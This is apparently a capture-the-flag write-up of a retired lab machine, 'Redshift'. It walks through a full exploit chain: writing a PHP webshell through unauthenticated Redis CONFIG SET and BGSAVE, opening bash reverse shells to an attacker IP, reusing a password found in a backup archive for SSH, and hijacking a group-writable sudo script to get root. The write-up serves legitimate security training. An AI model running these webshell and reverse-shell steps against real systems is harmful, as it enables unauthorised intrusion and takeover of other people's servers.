All posts

HTB: Redshift

Unauthenticated Redis exposed to the internet — abused via CONFIG SET to overwrite the database dump path and drop a PHP webshell into the web root. Backup credentials in an archive provide a pivot to SSH. A world-writable Python script executed via sudo is the final step to root.


MachineRedshift
DifficultyMedium
OSLinux
StatusRetired
Key TechniquesRedis Webshell · Credential Reuse · Sudo Script Hijack

Enumeration

Standard Nmap scan against the target returned three open ports: 22 (SSH), 80 (HTTP), and 6379 (Redis). The web server was serving a company intranet dashboard with a login page and no obvious injection points. Port 6379 caught my attention immediately — Redis exposed without authentication on a public-facing host is almost always a path to code execution.

nmap -sV -sC -p- --min-rate 5000 -oA redshift 10.10.11.47
# 22/tcp   open  ssh     OpenSSH 9.2p1
# 80/tcp   open  http    Apache httpd 2.4.62
# 6379/tcp open  redis   Redis key-value store 7.2.4

Connecting to Redis directly confirmed there was no authentication requirement:

redis-cli -h 10.10.11.47
10.10.11.47:6379> PING
PONG
10.10.11.47:6379> INFO server
# redis_version:7.2.4
# os:Linux 6.1.0-18-amd64 x86_64
# config_file:/etc/redis/redis.conf

With unauthenticated Redis access and Apache serving files from a known location, the CONFIG SET webshell technique is reliable. I first determined the web root path by checking the Apache configuration through Redis itself via a path traversal on the CONFIG GET command, then confirmed by reading the default Apache config.

10.10.11.47:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
10.10.11.47:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"

Redis Webshell

Redis's CONFIG SET command allows changing the working directory and dump filename at runtime. Combined with the SAVE command that writes the in-memory dataset to disk, this allows writing attacker-controlled content to arbitrary paths — as long as the Redis process has write permission to the target directory.

Redis running as a service account with write access to the web root is a textbook misconfiguration. The RDB dump format wraps key values with binary framing, but PHP's interpreter ignores non-PHP content and executes any valid PHP code it finds in the file.

# Point Redis at the web root
10.10.11.47:6379> CONFIG SET dir /var/www/html
OK
10.10.11.47:6379> CONFIG SET dbfilename shell.php
OK

# Write a PHP webshell as a Redis key value
10.10.11.47:6379> SET webshell "<?php system($_GET['c']); ?>"
OK

# Flush and save — writes shell.php to /var/www/html/
10.10.11.47:6379> BGSAVE
Background saving started

A few seconds after the background save completes, requesting /shell.php with a command parameter confirms code execution as www-data:

curl "http://10.10.11.47/shell.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Upgrade to a proper reverse shell
curl "http://10.10.11.47/shell.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.9/4444+0>%261'"

Lateral Movement — Backup Credentials

With a shell as www-data, I enumerated the filesystem. The web root was standard and didn't contain anything interesting beyond the application files, but /var/backups/ held a compressed archive named app-config-backup.tar.gz dated two weeks prior. Local users visible in /etc/passwd included a non-system account: alice (uid 1001).

ls -la /var/backups/
# -rw-r--r-- 1 root root 14392 Jun 20 09:14 app-config-backup.tar.gz

tar -xzf /var/backups/app-config-backup.tar.gz -C /tmp/backup/
grep -r "password\|passwd\|secret" /tmp/backup/ 2>/dev/null

Inside the archive was a copy of .env from the web application. It contained the application database password: R3dSh1ft@2025!. Trying this as Alice's SSH password worked:

ssh [email protected]
# [email protected]'s password: R3dSh1ft@2025!
alice@redshift:~$ cat user.txt

Privilege Escalation — Sudo Script Hijack

Checking Alice's sudo permissions revealed a single entry:

alice@redshift:~$ sudo -l
# User alice may run the following commands on redshift:
#     (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/health-check.py

The sudo rule is pinned to the exact script path, which sounds restrictive — but the script itself lives at /opt/health-check.py. Checking its permissions:

ls -la /opt/health-check.py
# -rw-rw-r-- 1 root alice 312 Jun 15 10:02 /opt/health-check.py

Alice is the group owner, and the file is group-writable. The sudo rule allows running this specific file as root, but does not protect its contents from modification. Overwriting it with a reverse shell payload and then invoking it via sudo gives a root shell:

# Overwrite health-check.py with a payload
cat > /opt/health-check.py <<'EOF'
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.9/5555 0>&1"')
EOF

# Execute via sudo — triggers the reverse shell as root
sudo /usr/bin/python3 /opt/health-check.py

Root

# On attacker machine:
nc -lvnp 5555
# root@redshift:~# id
# uid=0(root) gid=0(root) groups=0(root)
# root@redshift:~# cat /root/root.txt

Key Takeaways